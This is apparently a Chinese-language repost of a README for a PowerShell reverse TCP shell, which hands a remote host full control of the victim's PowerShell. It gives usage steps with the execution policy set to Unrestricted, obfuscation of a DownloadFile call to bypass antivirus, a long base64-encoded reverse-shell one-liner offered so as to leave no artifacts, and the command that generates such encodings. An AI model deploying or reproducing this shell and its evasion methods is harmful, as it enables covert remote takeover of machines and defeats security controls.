用于连接到远程主机的PowerShell脚本:PowerShell Reverse TCP
- 发表于
- 周边
PowerShell Reverse TCP
用于连接到远程主机的PowerShell脚本,远程主机将完全控制客户端的PowerShell及其所有基础命令,这也算是反弹Shell的一种。
已在Windows 10 Enterprise OS(64位)上使用PowerShell v5.1.18362.752测试。
如何使用
项目地址:https://github.com/ivan-sincek/powershell-reverse-tcp
在脚本中更改IP地址和端口号。
从\src\打开PowerShell,然后运行下面显示的命令。
设置执行策略:
Set-ExecutionPolicy Unrestricted
运行脚本:
.\powershell_reverse_tcp.ps1
或从PowerShell或命令提示符处运行以下命令:
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
PowerShell混淆
尝试通过混淆脚本来绕过防病毒或其他安全机制。
您可以在下面的示例中看到这种混淆。
原始的PowerShell命令:
(New-Object Net.WebClient).DownloadFile($url, $out)
混淆的PowerShell命令:
& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'
检查原始PowerShell脚本在这里和混淆PowerShell在这里。
除了手动混淆之外,原始的PowerShell脚本也被Invoke-Obfuscation混淆了。感谢作者!
在Internet上搜索其他方法和混淆技术。
PS随着PowerShell不断更新,某些正则表达式(例如*ke-E*
)可能会由于多种方法与同一表达式匹配而开始引发错误,因此需要对表达式进行更好的指定。
PowerShell编码命令
如果您不想留下任何文物,请使用下面的单线。
编码的脚本将提示您输入。请参阅我其他项目中稍有改动的脚本。
要运行PowerShell编码的命令,请从PowerShell或命令提示符处运行以下命令:
PowerShell -ExecutionPolicy Unrestricted -EncodedCommand JABhAGQAZAByACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAEkAUAAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwANAAoAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7AA0ACgAkAHAAbwByAHQAIAA9ACAAJAAoAFIAZQBhAGQALQBIAG8AcwB0ACAALQBQAHIAbwBtAHAAdAAgACIARQBuAHQAZQByACAAcABvAHIAdAAgAG4AdQBtAGIAZQByACIAKQAuAFQAcgBpAG0AKAApADsADQAKAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwANAAoAaQBmACAAKAAkAGEAZABkAHIALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAG8AcgB0AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAKQAgAHsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsADQAKAH0AIABlAGwAcwBlACAAewANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgACAAIAAgACAAIA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GUAcwB1AGwAdAAiADsADQAKAAkACQB9AA0ACgAJAH0ADQAKAH0ADQAKAA==
要从PowerShell脚本生成PowerShell编码的命令,请运行以下PowerShell命令:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
原文连接:用于连接到远程主机的PowerShell脚本:PowerShell Reverse TCP
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。